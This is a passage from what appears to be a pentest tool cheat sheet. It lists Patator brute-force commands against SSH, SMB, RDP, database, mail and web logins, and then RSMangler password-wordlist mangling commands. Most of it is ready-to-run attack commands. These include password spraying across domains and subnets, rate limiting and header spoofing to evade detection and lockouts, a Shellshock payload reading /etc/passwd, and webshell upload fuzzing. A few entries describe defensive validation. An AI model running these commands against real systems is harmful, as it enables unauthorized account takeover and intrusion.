password=COMBO0 0=combo_pass.txt ```bash patator ftp_login host=127.0.0.1 user=FILE0 0=users.txt password=COMBO0 0=combo_pass.txt ``` Uses the COMBO iterator to test combinations defined in a single file. ## Payload Generation ### patator ssh_login host=127.0.0.1 user=admin password=RANGE0 0=1980-2025 ```bash patator ssh_login host=127.0.0.1 user=admin password=RANGE0 0=1980-2025 ``` Generates a numeric range of years to test as passwords. ### patator vnc_login host=127.0.0.1 password=PROG0 0='python3 generate_pins.py' ```bash patator vnc_login host=127.0.0.1 password=PROG0 0='python3 generate_pins.py' ``` Uses an external script (PROG0) to dynamically generate payloads. ## Web Authentication (Basic) ### patator http_fuzz url=http://127.0.0.1/protected/ method=GET auth_type=basic user=FILE0 0=users.txt password=FILE1 1=pas ```bash patator http_fuzz url=http://127.0.0.1/protected/ method=GET auth_type=basic user=FILE0 0=users.txt password=FILE1 1=passwords.txt ``` Fuzzes HTTP Basic Authentication using lists for users and passwords. ## Web Authentication (Digest) ### patator http_fuzz url=http://127.0.0.1/digest/ method=GET auth_type=digest user=admin password=FILE0 0=passwords.txt ```bash patator http_fuzz url=http://127.0.0.1/digest/ method=GET auth_type=digest user=admin password=FILE0 0=passwords.txt ``` Tests HTTP Digest Authentication against a specific user. ## Web Authentication (Form) ### patator http_fuzz url=http://127.0.0.1/login.php method=POST body='username=FILE0&password=FILE1&submit=Login' 0=users.t ```bash patator http_fuzz url=http://127.0.0.1/login.php method=POST body='username=FILE0&password=FILE1&submit=Login' 0=users.txt 1=passwords.txt ``` Brute forces a standard HTML login form via POST request body. ### patator http_fuzz url=http://127.0.0.1/login method=POST body='{"user": "FILE0", "pass": "FILE1"}' header='Content-Type: ```bash patator http_fuzz url=http://127.0.0.1/login method=POST body='{"user": "FILE0", "pass": "FILE1"}' header='Content-Type: application/json' 0=users.txt 1=pass.txt ``` Tests a JSON API authentication endpoint by injecting payloads into a JSON body. ## Response Analysis ### patator http_fuzz url=http://127.0.0.1/login method=POST body='user=admin&pass=FILE0' 0=pass.txt -x ignore:code=200 ```bash patator http_fuzz url=http://127.0.0.1/login method=POST body='user=admin&pass=FILE0' 0=pass.txt -x ignore:code=200 ``` Ignores responses with HTTP status code 200 to isolate anomalies. ### patator http_fuzz url=http://127.0.0.1/login method=POST body='user=admin&pass=FILE0' 0=pass.txt -x ignore:size=1234 ```bash patator http_fuzz url=http://127.0.0.1/login method=POST body='user=admin&pass=FILE0' 0=pass.txt -x ignore:size=1234 ``` Ignores responses that match a specific byte size, common for standard failure pages. ### patator http_fuzz url=http://127.0.0.1/login method=POST body='user=admin&pass=FILE0' 0=pass.txt -x ignore:fgrep='Invali ```bash patator http_fuzz url=http://127.0.0.1/login method=POST body='user=admin&pass=FILE0' 0=pass.txt -x ignore:fgrep='Invalid password' ``` Ignores responses containing the specific string 'Invalid password'. ## SMB Protocol ### patator smb_login host=127.0.0.1 user=Administrator password=FILE0 0=passwords.txt ```bash patator smb_login host=127.0.0.1 user=Administrator password=FILE0 0=passwords.txt ``` Tests SMB (Server Message Block) credentials against the Administrator account. ### patator smb_login host=127.0.0.1 user=FILE0 0=users.txt password=FILE1 1=passwords.txt domain=WORKGROUP ```bash patator smb_login host=127.0.0.1 user=FILE0 0=users.txt password=FILE1 1=passwords.txt domain=WORKGROUP ``` Performs SMB login testing specifying a target domain. ## Database Modules ### patator mysql_login host=127.0.0.1 user=root password=FILE0 0=passwords.txt ```bash patator mysql_login host=127.0.0.1 user=root password=FILE0 0=passwords.txt ``` Brute forces the root account on a MySQL database server. ### patator mssql_login host=127.0.0.1 user=sa password=FILE0 0=passwords.txt ```bash patator mssql_login host=127.0.0.1 user=sa password=FILE0 0=passwords.txt ``` Tests credentials against the SA account on a Microsoft SQL Server. ### patator postgres_login host=127.0.0.1 user=postgres password=FILE0 0=passwords.txt database=template1 ```bash patator postgres_login host=127.0.0.1 user=postgres password=FILE0 0=passwords.txt database=template1 ``` Targets a specific PostgreSQL database instance for authentication. ## Remote Desktop ### patator rdp_login host=127.0.0.1 user=Administrator password=FILE0 0=passwords.txt ```bash patator rdp_login host=127.0.0.1 user=Administrator password=FILE0 0=passwords.txt ``` Attempts to authenticate via RDP (Remote Desktop Protocol) using a password list. ### patator vnc_login host=127.0.0.1 password=FILE0 0=passwords.txt ```bash patator vnc_login host=127.0.0.1 password=FILE0 0=passwords.txt ``` Tests VNC passwords which typically do not require a username. ## Email Protocols ### patator smtp_login host=127.0.0.1 user=FILE0 0=emails.txt password=FILE1 1=passwords.txt ```bash patator smtp_login host=127.0.0.1 user=FILE0 0=emails.txt password=FILE1 1=passwords.txt ``` Validates credentials against an SMTP mail server. ### patator pop3_login host=127.0.0.1 user=test password=FILE0 0=passwords.txt ```bash patator pop3_login host=127.0.0.1 user=test password=FILE0 0=passwords.txt ``` Tests passwords against a POP3 email account. ### patator imap_login host=127.0.0.1 user=test password=FILE0 0=passwords.txt ```bash patator imap_login host=127.0.0.1 user=test password=FILE0 0=passwords.txt ``` Tests credentials against an IMAP service. ## Infrastructure ### patator snmp_login host=127.0.0.1 version=2c community=FILE0 0=community_strings.txt ```bash patator snmp_login host=127.0.0.1 version=2c community=FILE0 0=community_strings.txt ``` Brute forces SNMP community strings to identify management access. ### patator ldap_login host=127.0.0.1 base_dn='dc=example,dc=com' user=FILE0 0=users.txt password=FILE1 1=passwords.txt ```bash patator ldap_login host=127.0.0.1 base_dn='dc=example,dc=com' user=FILE0 0=users.txt password=FILE1 1=passwords.txt ``` Tests LDAP directory credentials with a specified Base DN. ## Archive cracking ### patator unzip_pass zipfile=archive.zip password=FILE0 0=passwords.txt ```bash patator unzip_pass zipfile=archive.zip password=FILE0 0=passwords.txt ``` Attempts to crack the password of a protected ZIP file using a dictionary. ## Performance Control ### patator ssh_login host=127.0.0.1 user=admin password=FILE0 0=pass.txt -t 10 ```bash patator ssh_login host=127.0.0.1 user=admin password=FILE0 0=pass.txt -t 10 ``` Runs the attack using 10 concurrent threads to increase speed. ### patator ssh_login host=127.0.0.1 user=admin password=FILE0 0=pass.txt --timeout 5 ```bash patator ssh_login host=127.0.0.1 user=admin password=FILE0 0=pass.txt --timeout 5 ``` Sets a 5-second timeout per connection to drop hanging attempts quickly. ## Rate Limiting ### patator ssh_login host=127.0.0.1 user=admin password=FILE0 0=pass.txt --rate-limit 1 ```bash patator ssh_login host=127.0.0.1 user=admin password=FILE0 0=pass.txt --rate-limit 1 ``` Limits the attack speed to 1 request per second to evade detection. ## Error Handling ### patator http_fuzz url=http://127.0.0.1/ method=GET --max-retries 3 ```bash patator http_fuzz url=http://127.0.0.1/ method=GET --max-retries 3 ``` Retries failed connections up to 3 times before giving up on a payload. ## Target Enumeration ### patator ssh_login host=NET0 0=192.168.1.0/24 user=root password=toor ```bash patator ssh_login host=NET0 0=192.168.1.0/24 user=root password=toor ``` Sprays a single credential pair across an entire CIDR network range. ## Password Spraying ### patator smb_login host=127.0.0.1 user=FILE0 0=users.txt password=Welcome123 ```bash patator smb_login host=127.0.0.1 user=FILE0 0=users.txt password=Welcome123 ``` Performs a password spray attack testing one common password against many users. ## Output Control ### patator ssh_login host=127.0.0.1 user=admin password=FILE0 0=pass.txt -v ```bash patator ssh_login host=127.0.0.1 user=admin password=FILE0 0=pass.txt -v ``` Enables verbose mode to see detailed output of every attempt. ## Advanced HTTP ### patator http_fuzz url=http://127.0.0.1/admin method=GET header='Cookie: session_id=FILE0' 0=sessions.txt ```bash patator http_fuzz url=http://127.0.0.1/admin method=GET header='Cookie: session_id=FILE0' 0=sessions.txt ``` Fuzzes the Cookie header to perform session hijacking or enumeration. ### patator http_fuzz url=http://127.0.0.1/ method=GET header='User-Agent: FILE0' 0=user_agents.txt ```bash patator http_fuzz url=http://127.0.0.1/ method=GET header='User-Agent: FILE0' 0=user_agents.txt ``` Rotates User-Agent strings to bypass simple WAF rules. ### patator http_fuzz url=https://127.0.0.1/ method=GET --cert client.pem --key client.key ```bash patator http_fuzz url=https://127.0.0.1/ method=GET --cert client.pem --key client.key ``` Uses client-side SSL certificates for mutual TLS authentication testing. ## Proxy Usage ### patator http_fuzz url=http://target.com/ method=GET proxy=http://127.0.0.1:8080 ```bash patator http_fuzz url=http://target.com/ method=GET proxy=http://127.0.0.1:8080 ``` Routes traffic through a local proxy (like Burp Suite) for inspection. ### patator ssh_login host=1.2.3.4 user=admin password=pass proxy=socks5://127.0.0.1:9050 ```bash patator ssh_login host=1.2.3.4 user=admin password=pass proxy=socks5://127.0.0.1:9050 ``` Routes SSH attacks through a SOCKS5 proxy (e.g., Tor). ## Advanced Filtering ### patator http_fuzz url=http://127.0.0.1/ method=GET user=FILE0 0=users.txt -x ignore:header='Location: /login' ```bash patator http_fuzz url=http://127.0.0.1/ method=GET user=FILE0 0=users.txt -x ignore:header='Location: /login' ``` Ignores responses that redirect back to the login page. ### patator http_fuzz url=http://127.0.0.1/api method=POST body='token=FILE0' 0=tokens.txt -x quit:code=200 ```bash patator http_fuzz url=http://127.0.0.1/api method=POST body='token=FILE0' 0=tokens.txt -x quit:code=200 ``` Stops the attack immediately upon receiving a 200 OK response. ## Oracle Database ### patator oracle_login host=127.0.0.1 sid=xe user=system password=FILE0 0=passwords.txt ```bash patator oracle_login host=127.0.0.1 sid=xe user=system password=FILE0 0=passwords.txt ``` Attacks an Oracle Database SID with the system user. ## DNS Enumeration ### patator dns_forward host=127.0.0.1 name=FILE0.example.com 0=subdomains.txt ```bash patator dns_forward host=127.0.0.1 name=FILE0.example.com 0=subdomains.txt ``` Performs DNS subdomain brute forcing by iterating prefixes. ### patator dns_forward host=127.0.0.1 name=example.com type=FILE0 0=types.txt ```bash patator dns_forward host=127.0.0.1 name=example.com type=FILE0 0=types.txt ``` Iterates through DNS record types (A, MX, TXT) for a specific domain. ## Multi-Target ### patator ssh_login host=FILE0 0=hosts.txt user=root password=toor ```bash patator ssh_login host=FILE0 0=hosts.txt user=root password=toor ``` Tests a single credential pair against a list of different hosts. ## Complex Iteration ### patator http_fuzz url=http://127.0.0.1/users/FILE0/files/FILE1 method=GET 0=users.txt 1=files.txt ```bash patator http_fuzz url=http://127.0.0.1/users/FILE0/files/FILE1 method=GET 0=users.txt 1=files.txt ``` Fuzzes two different parts of a URL path simultaneously. ## Range Iteration ### patator http_fuzz url=http://127.0.0.1/id/RANGE0 method=GET 0=1000-2000 ```bash patator http_fuzz url=http://127.0.0.1/id/RANGE0 method=GET 0=1000-2000 ``` Iterates through numeric IDs in the URL from 1000 to 2000. ## Stealth & Evasion ### patator ssh_login host=127.0.0.1 user=admin password=FILE0 0=pass.txt --rate-limit 0.1 ```bash patator ssh_login host=127.0.0.1 user=admin password=FILE0 0=pass.txt --rate-limit 0.1 ``` Sets an extremely slow rate limit (1 request every 10 seconds) to avoid lockouts. ## Post-Exploitation ### patator ssh_login host=127.0.0.1 user=admin password=FILE0 0=pass.txt -x quit:mesg='Last login' ```bash patator ssh_login host=127.0.0.1 user=admin password=FILE0 0=pass.txt -x quit:mesg='Last login' ``` Detects successful SSH login by matching the 'Last login' banner message. ## Logging ### patator ssh_login host=127.0.0.1 user=admin password=FILE0 0=pass.txt > audit.log ```bash patator ssh_login host=127.0.0.1 user=admin password=FILE0 0=pass.txt > audit.log ``` Redirects standard output to a log file for later analysis. ## Resume Capability ### patator ssh_login host=127.0.0.1 user=FILE0 0=users.txt password=pass --resume 100 ```bash patator ssh_login host=127.0.0.1 user=FILE0 0=users.txt password=pass --resume 100 ``` Resumes the attack starting from the 100th entry in the user list. ## Advanced Fuzzing ### patator http_fuzz url=http://127.0.0.1/ method=POST body='xml=FILE0' 0=xxe_payloads.txt ```bash patator http_fuzz url=http://127.0.0.1/ method=POST body='xml=FILE0' 0=xxe_payloads.txt ``` Injects XXE payloads into a POST body parameter. ### patator http_fuzz url=http://127.0.0.1/ method=GET header='X-Forwarded-For: FILE0' 0=ips.txt ```bash patator http_fuzz url=http://127.0.0.1/ method=GET header='X-Forwarded-For: FILE0' 0=ips.txt ``` Fuzzes the X-Forwarded-For header to test for IP spoofing vulnerabilities. ## R Services ### patator rlogin_login host=127.0.0.1 user=root client_user=root ```bash patator rlogin_login host=127.0.0.1 user=root client_user=root ``` Tests for Rlogin trust relationships without a password. ## Java RMI ### patator java_rmi_login host=127.0.0.1 method=list ```bash patator java_rmi_login host=127.0.0.1 method=list ``` Enumerates available methods on a Java RMI registry. ## File Upload ### patator http_fuzz url=http://127.0.0.1/upload method=POST body='file=FILE0' 0=webshells.txt header='Content-Type: multip ```bash patator http_fuzz url=http://127.0.0.1/upload method=POST body='file=FILE0' 0=webshells.txt header='Content-Type: multipart/form-data' ``` Fuzzes file upload endpoints with various malicious file contents. ## Interactive Mode ### patator ssh_login host=127.0.0.1 user=root password=toor --interactive ```bash patator ssh_login host=127.0.0.1 user=root password=toor --interactive ``` Runs the module in interactive mode for debugging responses. ## Persistent Connection ### patator http_fuzz url=http://127.0.0.1/ method=GET --persistent ```bash patator http_fuzz url=http://127.0.0.1/ method=GET --persistent ``` Uses HTTP Keep-Alive to reuse TCP connections and improve speed. ## Custom Separator ### patator ssh_login host=127.0.0.1 user=FILE0 0=creds.txt --sep ':' ```bash patator ssh_login host=127.0.0.1 user=FILE0 0=creds.txt --sep ':' ``` Uses a custom separator to parse user:pass combos from a single file properly. ## LDAP Enumeration ### patator ldap_login host=127.0.0.1 base_dn='dc=lab' user=admin password=pass -v ```bash patator ldap_login host=127.0.0.1 base_dn='dc=lab' user=admin password=pass -v ``` Verifies LDAP connectivity and credentials with verbose output. ## VNC Auth ### patator vnc_login host=127.0.0.1 password=FILE0 0=pass.txt --timeout 3 ```bash patator vnc_login host=127.0.0.1 password=FILE0 0=pass.txt --timeout 3 ``` Fast VNC password cracking with short timeouts. ## Advanced Telnet ### patator telnet_login host=127.0.0.1 user=admin password=pass inputs='sh ```bash patator telnet_login host=127.0.0.1 user=admin password=pass inputs='sh exit ' ``` Sends additional inputs after login to verify shell access. ## SMB Domain Spray ### patator smb_login host=10.0.0.5 user=FILE0 0=domain_users.txt password=Summer2023! domain=CORP ```bash patator smb_login host=10.0.0.5 user=FILE0 0=domain_users.txt password=Summer2023! domain=CORP ``` Sprays a seasonal password against domain users on a domain controller. ## Database Spray ### patator mysql_login host=NET0 0=10.0.0.0/24 user=root password=root ```bash patator mysql_login host=NET0 0=10.0.0.0/24 user=root password=root ``` Checks for default MySQL credentials across a subnet. ## HTTP API Key Fuzzing ### patator http_fuzz url=http://127.0.0.1/api/v1/data method=GET header='Authorization: Bearer FILE0' 0=keys.txt -x ignore: ```bash patator http_fuzz url=http://127.0.0.1/api/v1/data method=GET header='Authorization: Bearer FILE0' 0=keys.txt -x ignore:code=401 ``` Tests a list of Bearer tokens, ignoring unauthorized responses. ## FTP Bounce ### patator ftp_login host=127.0.0.1 user=anonymous password=anonymous ```bash patator ftp_login host=127.0.0.1 user=anonymous password=anonymous ``` Checks for anonymous FTP access. ## Response Regex ### patator http_fuzz url=http://127.0.0.1/login method=POST body='u=admin&p=FILE0' 0=pass.txt -x ignore:egrep='(Fail|Error| ```bash patator http_fuzz url=http://127.0.0.1/login method=POST body='u=admin&p=FILE0' 0=pass.txt -x ignore:egrep='(Fail|Error|Deny)' ``` Uses extended regex to ignore multiple failure keywords in responses. ## Postgres Database ### patator postgres_login host=127.0.0.1 user=postgres password=FILE0 0=pass.txt ssl=on ```bash patator postgres_login host=127.0.0.1 user=postgres password=FILE0 0=pass.txt ssl=on ``` Enforces SSL encryption for PostgreSQL login attempts. ## AJAX Fuzzing ### patator http_fuzz url=http://127.0.0.1/ajax_check method=POST body='user=FILE0' 0=users.txt header='X-Requested-With: XM ```bash patator http_fuzz url=http://127.0.0.1/ajax_check method=POST body='user=FILE0' 0=users.txt header='X-Requested-With: XMLHttpRequest' ``` Adds the AJAX header to properly test asynchronous endpoints. ## Cookie Poisoning ### patator http_fuzz url=http://127.0.0.1/admin method=GET header='Cookie: admin=FILE0' 0=booleans.txt ```bash patator http_fuzz url=http://127.0.0.1/admin method=GET header='Cookie: admin=FILE0' 0=booleans.txt ``` Fuzzes a boolean cookie value (true/false, 0/1) to bypass checks. ## Advanced SSH ### patator ssh_login host=127.0.0.1 user=root key_file=FILE0 0=keys_folder/ ```bash patator ssh_login host=127.0.0.1 user=root key_file=FILE0 0=keys_folder/ ``` Iterates through a folder of private keys attempting public key authentication. ## Rate Limit Bypass ### patator http_fuzz url=http://127.0.0.1/login method=POST body='user=admin&pass=FILE0' 0=pass.txt header='X-Originating-I ```bash patator http_fuzz url=http://127.0.0.1/login method=POST body='user=admin&pass=FILE0' 0=pass.txt header='X-Originating-IP: 127.0.0.FILE1' 1=RANGE1 1=1-254 ``` Spoofs originating IP headers per request to bypass IP-based rate limiting. ## Blind SQL Injection ### patator http_fuzz url=http://127.0.0.1/item?id=FILE0 0=sqli.txt method=GET -x ignore:time<5 ```bash patator http_fuzz url=http://127.0.0.1/item?id=FILE0 0=sqli.txt method=GET -x ignore:time<5 ``` Identifies blind SQL injection by filtering out responses that are faster than 5 seconds. ## WebDAV ### patator http_fuzz url=http://127.0.0.1/uploads/FILE0 0=filenames.txt method=PUT body='testing' ```bash patator http_fuzz url=http://127.0.0.1/uploads/FILE0 0=filenames.txt method=PUT body='testing' ``` Tests for write permissions by attempting to PUT files on the server. ## Default Credentials ### patator ssh_login host=127.0.0.1 user=FILE0 0=defaults.txt password=FILE0 ```bash patator ssh_login host=127.0.0.1 user=FILE0 0=defaults.txt password=FILE0 ``` Tests for credentials where username and password are identical. ## Parallel Job Control ### patator ssh_login host=127.0.0.1 user=root password=FILE0 0=pass.txt -t 50 --max-retries 0 ```bash patator ssh_login host=127.0.0.1 user=root password=FILE0 0=pass.txt -t 50 --max-retries 0 ``` Aggressive parallel scanning with 50 threads and no retries. ## Content-Length Fuzzing ### patator http_fuzz url=http://127.0.0.1/ method=POST body='A' header='Content-Length: FILE0' 0=integers.txt ```bash patator http_fuzz url=http://127.0.0.1/ method=POST body='A' header='Content-Length: FILE0' 0=integers.txt ``` Fuzzes Content-Length header to test for Request Smuggling vulnerabilities. ## HTTP Method Fuzzing ### patator http_fuzz url=http://127.0.0.1/private method=FILE0 0=methods.txt ```bash patator http_fuzz url=http://127.0.0.1/private method=FILE0 0=methods.txt ``` Iterates HTTP methods (GET, POST, PUT, DELETE) to find allowed verbs. ## SNMP Write ### patator snmp_login host=127.0.0.1 version=2c community=FILE0 0=communities.txt access=write ```bash patator snmp_login host=127.0.0.1 version=2c community=FILE0 0=communities.txt access=write ``` Specifically hunts for write-capable SNMP community strings. ## Known Vulnerability Check ### patator http_fuzz url=http://127.0.0.1/ method=GET header='Shellshock: () { :;}; echo; /bin/cat /etc/passwd' -x ignore:s ```bash patator http_fuzz url=http://127.0.0.1/ method=GET header='Shellshock: () { :;}; echo; /bin/cat /etc/passwd' -x ignore:size=0 ``` Injects a Shellshock payload into a custom header and looks for output. ## Complex List Parsing ### patator ssh_login host=127.0.0.1 user=FILE0 0=creds.csv --sep ',' password=FILE0 ```bash patator ssh_login host=127.0.0.1 user=FILE0 0=creds.csv --sep ',' password=FILE0 ``` Parses a CSV file where user and password are in the same line separated by a comma. ## SMTP Enumeration ### patator smtp_login host=127.0.0.1 method=VRFY user=FILE0 0=users.txt ```bash patator smtp_login host=127.0.0.1 method=VRFY user=FILE0 0=users.txt ``` Uses the VRFY command to valid existing users without logging in. ## Full Automation ### patator ssh_login host=127.0.0.1 user=admin password=FILE0 0=pass.txt -x ignore:code=fail > valid_ssh.txt ```bash patator ssh_login host=127.0.0.1 user=admin password=FILE0 0=pass.txt -x ignore:code=fail > valid_ssh.txt ``` Automates the attack and saves only valid credentials to a file. ## IPv6 Targets ### patator ssh_login host=::1 user=root password=toor ```bash patator ssh_login host=::1 user=root password=toor ``` Targets a service running on the IPv6 localhost address. ## Debug Mode ### patator ssh_login host=127.0.0.1 user=root password=toor --debug ```bash patator ssh_login host=127.0.0.1 user=root password=toor --debug ``` Runs with debug logging enabled to troubleshoot module errors. ## Blue Team Validation ### patator ssh_login host=127.0.0.1 user=admin password=FILE0 0=top100.txt --rate-limit 100 ```bash patator ssh_login host=127.0.0.1 user=admin password=FILE0 0=top100.txt --rate-limit 100 ``` Floods authentication requests to verify if SIEM alerts trigger correctly. ### patator http_fuzz url=http://127.0.0.1/ method=GET header='User-Agent: sqlmap' -x quit:code=403 ```bash patator http_fuzz url=http://127.0.0.1/ method=GET header='User-Agent: sqlmap' -x quit:code=403 ``` Tests if the WAF correctly blocks known malicious User-Agents. ## Recursive Directories ### patator http_fuzz url=http://127.0.0.1/FILE0/ method=GET 0=dirs.txt -x ignore:code=404 ```bash patator http_fuzz url=http://127.0.0.1/FILE0/ method=GET 0=dirs.txt -x ignore:code=404 ``` Simple directory brute forcing by ignoring Not Found errors. ## Protocol Fuzzing ### patator telnet_login host=127.0.0.1 user=FILE0 0=payloads.txt password=test ```bash patator telnet_login host=127.0.0.1 user=FILE0 0=payloads.txt password=test ``` Injects fuzzing payloads into the username field of Telnet. ## MSSQL Integrated ### patator mssql_login host=127.0.0.1 user=guest password=guest ```bash patator mssql_login host=127.0.0.1 user=guest password=guest ``` Checks for guest account access on MSSQL. ## Elasticsearch ### patator http_fuzz url=http://127.0.0.1:9200/_cat/indices method=GET -x ignore:code=401 ```bash patator http_fuzz url=http://127.0.0.1:9200/_cat/indices method=GET -x ignore:code=401 ``` Checks for unauthenticated access to Elasticsearch indices. ## MongoDB ### patator mongodb_login host=127.0.0.1 user=admin password=FILE0 0=pass.txt ```bash patator mongodb_login host=127.0.0.1 user=admin password=FILE0 0=pass.txt ``` Tests admin credentials against a MongoDB instance. ## Redis ### patator redis_login host=127.0.0.1 password=FILE0 0=pass.txt ```bash patator redis_login host=127.0.0.1 password=FILE0 0=pass.txt ``` Brute forces the Redis requirepass directive. ## Virtual Host Enum ### patator http_fuzz url=http://127.0.0.1/ method=GET header='Host: FILE0.example.com' 0=subs.txt -x ignore:size=default_si ```bash patator http_fuzz url=http://127.0.0.1/ method=GET header='Host: FILE0.example.com' 0=subs.txt -x ignore:size=default_size ``` Fuzzes the Host header to discover internal virtual hosts. ## Param Pollution ### patator http_fuzz url=http://127.0.0.1/page method=GET body='id=1&id=FILE0' 0=fuzz.txt ```bash patator http_fuzz url=http://127.0.0.1/page method=GET body='id=1&id=FILE0' 0=fuzz.txt ``` Tests for HTTP Parameter Pollution by injecting duplicate parameters. ## Git Exposure ### patator http_fuzz url=http://127.0.0.1/.git/FILE0 method=GET 0=git_objects.txt -x ignore:code=404 ```bash patator http_fuzz url=http://127.0.0.1/.git/FILE0 method=GET 0=git_objects.txt -x ignore:code=404 ``` Checks for accessible Git repository objects on a web server. ## Cleanup ### patator ssh_login host=127.0.0.1 user=admin password=pass --timeout 1 ```bash patator ssh_login host=127.0.0.1 user=admin password=pass --timeout 1 ``` Final low-timeout check to ensure service is still responsive. ## Related tools - [Hydra](https://terminal.rokibulroni.com/tool/credentials/hydra) - [Medusa](https://terminal.rokibulroni.com/tool/credentials/medusa) # Tool: RSMangler > Takes a wordlist and produces mangled variations — reversals, leetspeak, case changes, appended years — for password attacks. - Category: Credentials - Commands: 45 - Page: https://terminal.rokibulroni.com/tool/credentials/rsmangler - Homepage: https://github.com/digininja/RSMangler - Tags: wordlists, mangling ## Install - apt: `sudo apt install rsmangler` ## Basic Wordlist Mangling ### rsmangler --file wordlist.txt ```bash rsmangler --file wordlist.txt ``` Example: ```bash rsmangler --file employees.txt ``` Generates mutated password candidates from a specific input file using default settings ### rsmangler -f wordlist.txt ```bash rsmangler -f wordlist.txt ``` Example: ```bash rsmangler -f names.txt ``` Uses the shorthand flag to specify the input wordlist file ### rsmangler --help ```bash rsmangler --help ``` Displays the help menu listing all available options and syntax ## Output Handling ### rsmangler --file input.txt --output mangled.txt ```bash rsmangler --file input.txt --output mangled.txt ``` Example: ```bash rsmangler --file seeds.txt --output mutations.txt ``` Saves the generated wordlist to a specific output file instead of printing to stdout ### rsmangler -f input.txt -o output.txt ```bash rsmangler -f input.txt -o output.txt ``` Example: ```bash rsmangler -f target_info.txt -o potential_passwords.txt ``` Uses shorthand flags for both input and output file specification ## Standard Input/Output ### cat words.txt | rsmangler --file - ```bash cat words.txt | rsmangler --file - ``` Example: ```bash cat keywords.txt | rsmangler --file - ``` Pipes a wordlist directly into RSMangler using stdin ## Length Control ### rsmangler --file wordlist.txt --min 8 ```bash rsmangler --file wordlist.txt --min 8 ``` Example: ```bash rsmangler --file weak_passwords.txt --min 8 ``` Filters output to exclude any generated passwords shorter than 8 characters ### rsmangler --file wordlist.txt --max 12 ```bash rsmangler --file wordlist.txt --max 12 ``` Example: ```bash rsmangler --file service_accounts.txt --max 12 ``` Filters output to exclude any generated passwords longer than 12 characters ### rsmangler --file wordlist.txt --min 8 --max 14 ```bash rsmangler --file wordlist.txt --min 8 --max 14 ``` Example: ```bash rsmangler --file company_terms.txt --min 8 --max 14 ``` Combines minimum and maximum length constraints for targeted password policy testing ### rsmangler -f input.txt -m 10 -x 20 ```bash rsmangler -f input.txt -m 10 -x 20 ``` Uses shorthand flags to enforce a password length between 10 and 20 characters ## Mutation Control ### rsmangler --file wordlist.txt --no-leet ```bash rsmangler --file wordlist.txt --no-leet ``` Example: ```bash rsmangler --file common.txt --no-leet ``` Disables leetspeak substitutions to focus on plain text variations ### rsmangler --file wordlist.txt --no-doubles ```bash rsmangler --file wordlist.txt --no-doubles ``` Example: ```bash rsmangler --file names.txt --no-doubles ``` Prevents the generation of doubled words like adminadmin ### rsmangler --file wordlist.txt --no-reverse ```bash rsmangler --file wordlist.txt --no-reverse ``` Example: ```bash rsmangler --file dictionary.txt --no-reverse ``` Stops the tool from creating reversed versions of the input words ### rsmangler --file wordlist.txt --no-acronyms ```bash rsmangler --file wordlist.txt --no-acronyms ``` Example: ```bash rsmangler --file phrases.txt --no-acronyms ``` Disables the creation of acronyms from multi-word inputs ### rsmangler --file wordlist.txt --no-upper ```bash rsmangler --file wordlist.txt --no-upper ``` Example: ```bash rsmangler --file lowercase_only.txt --no-upper ``` Prevents the tool from uppercasing words during mutation ### rsmangler --file wordlist.txt --no-lower ```bash rsmangler --file wordlist.txt --no-lower ``` Example: ```bash rsmangler --file uppercase_only.txt --no-lower ``` Prevents the tool from lowercasing words during mutation ### rsmangler --file wordlist.txt --no-titles ```bash rsmangler --file wordlist.txt --no-titles ``` Example: ```bash rsmangler --file mixed.txt --no-titles ``` Disables title case generation for the input words ### rsmangler --file wordlist.txt --space ```bash rsmangler --file wordlist.txt --space ``` Example: ```bash rsmangler --file phrases.txt --space ``` Allows spaces to remain in the output for passphrase generation ## Advanced Combination ### rsmangler --file wordlist.txt --perms ```bash rsmangler --file wordlist.txt --perms ``` Example: ```bash rsmangler --file keywords.txt --perms ``` Enables exhaustive permutations of all words in the input list combined with each other ## Minimal Mutation Workflow ### rsmangler -f words.txt --no-leet --no-reverse --no-doubles ```bash rsmangler -f words.txt --no-leet --no-reverse --no-doubles ``` Example: ```bash rsmangler -f seeds.txt --no-leet --no-reverse --no-doubles ``` Generates a conservative list by disabling leet, reverse, and double mutations ## Strict Formatting ### rsmangler -f input.txt --no-upper --no-lower --no-titles ```bash rsmangler -f input.txt --no-upper --no-lower --no-titles ``` Example: ```bash rsmangler -f strict.txt --no-upper --no-lower --no-titles ``` Retains the original casing of the input words without case modification ## Pipeline Automation ### echo 'Company2023' | rsmangler --file - ```bash echo 'Company2023' | rsmangler --file - ``` Example: ```bash echo 'TargetCorp' | rsmangler --file - ``` Mangles a single target word passed directly via echo ### rsmangler -f base.txt | grep '2023' ```bash rsmangler -f base.txt | grep '2023' ``` Example: ```bash rsmangler -f seeds.txt | grep '!' ``` Filters the mangled output immediately for specific patterns using grep ### rsmangler -f words.txt | sort -u > unique_mangled.txt ```bash rsmangler -f words.txt | sort -u > unique_mangled.txt ``` Example: ```bash rsmangler -f names.txt | sort -u > clean_list.txt ``` Sorts and deduplicates the mangled output before saving to a file ## Red Team Workflow ### cewl https://example.com -w site_words.txt && rsmangler -f site_words.txt -o site_mangled.txt ```bash cewl https://example.com -w site_words.txt && rsmangler -f site_words.txt -o site_mangled.txt ``` Example: ```bash cewl https://target.com -w temp.txt && rsmangler -f temp.txt -o target_pass.txt ``` Combines CeWL crawling with RSMangler to attack specific web targets ### rsmangler -f user_details.txt --perms --min 10 ```bash rsmangler -f user_details.txt --perms --min 10 ``` Example: ```bash rsmangler -f profile.txt --perms --min 10 ``` Creates complex permutations of user details for targeted brute-forcing ## Blue Team Validation ### rsmangler -f policy_terms.txt --min 12 --max 128 --space ```bash rsmangler -f policy_terms.txt --min 12 --max 128 --space ``` Example: ```bash rsmangler -f seed.txt --min 12 --max 128 --space ``` Generates passphrases compliant with modern long-password policies ### rsmangler -f common_roots.txt --no-leet | pw-inspector -m 8 -M 20 ```bash rsmangler -f common_roots.txt --no-leet | pw-inspector -m 8 -M 20 ``` Example: ```bash rsmangler -f seeds.txt --no-leet | pw-inspector -m 8 -M 20 ``` Validates basic mutations against password inspector tools for complexity checks ## Performance Optimization ### rsmangler -f small_seed.txt --perms > massive_list.txt ```bash rsmangler -f small_seed.txt --perms > massive_list.txt ``` Example: ```bash rsmangler -f core.txt --perms > full_scope.txt ``` Generates a very large wordlist from a small seed using permutations (warning: resource intensive) ## Targeted Crack Workflow ### rsmangler -f names.txt --no-doubles --no-reverse --min 6 --max 15 ```bash rsmangler -f names.txt --no-doubles --no-reverse --min 6 --max 15 ``` Example: ```bash rsmangler -f staff.txt --no-doubles --no-reverse --min 6 --max 15 ``` Optimizes the wordlist for standard corporate password policies (6-15 chars) ## Hybrid Attack Prep ### rsmangler -f base.txt -o mangled.txt && hashcat -a 0 hashes.txt 